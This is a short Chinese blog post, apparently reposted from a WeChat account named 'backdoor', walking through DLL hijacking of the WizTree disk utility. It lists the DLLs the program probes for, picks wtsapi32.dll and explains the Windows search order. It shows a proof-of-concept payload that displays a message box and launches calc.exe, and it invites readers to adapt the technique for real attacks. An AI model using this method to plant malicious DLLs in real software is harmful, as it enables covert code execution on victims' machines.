一次 DLL 劫持实战

C:WindowsSystem32wow64log.dllD:APPWizTreempr.dllD:APPWizTreeoleacc.dllD:APPWizTreewinmm.dllD:APPWizTreeversion.dllD:APPWizTreenetapi32.dllD:APPWizTreewinhttp.dllD:APPWizTreeSHFolder.dllD:APPWizTreeNETUTILS.DLLD:APPWizTreeOLEACCRC.DLLC:WindowsSysWOW64rpcss.dllD:APPWizTreewtsapi32.dllD:APPWizTreeWINSTA.dllD:APPWizTreeolepro32.dllD:APPWizTreeURL.DLLD:APPWizTreeIEFRAME.dllD:APPWizTreeiertutil.dllD:APPWizTreeUSERENV.dllD:APPWizTreeWKSCLI.DLLD:APPWizTreePROPSYS.dllD:APPWizTreeprofapi.dllD:APPWizTreeCFGMGR32.dllD:APPWizTreeedputil.dllD:APPWizTreeVAULTCLI.dllD:APPWizTreeurlmon.dllD:APPWizTreesrvcli.dllD:APPWizTreeSspiCli.dll

    发现存在可劫持Dll

wtsapi32.dll

    程序加载路径

D:APPWizTreewtsapi32.dll

    
    主程序启动会加载路径当前路径下 wtsapi32.dll，但是当前目录下没有此Dll文件，根据Dll路径搜索目录顺序我们可以分析,主程序运行时加载wtsapi32.dll就是加载C:WindowsSystem32wtsapi32.dll 。
DLL路径搜索目录顺序
1. 进程对应的应用程序所在目录2. 系统目录（即%windir%system32）3. 16位系统目录（即%windir%system）



    制作恶意Dll，生成转发Dll代码（使用大佬工具一键生成）




    修改代码实现弹窗和打开计算器




// 弹窗MessageBox(NULL, L"恭喜你中招了", L" Dll 劫持", MB_OK);
 // 执行exe STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcess(TEXT("C:\Windows\System32\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);






                    
                


    至于实战咋利用大家就各自发挥了，我相信大家骚操作很多，这里我就不献丑了，免得大家笑话。用到的工具Github上有很多，大家可以自行去下载，这里就不放出来了。
    
    文章有点水，但是新鲜，就是今天上午的事。嘿嘿，主要是想提醒大家公众号换头像了！

           

原文始发于微信公众号（backdoor）：一次 DLL 劫持实战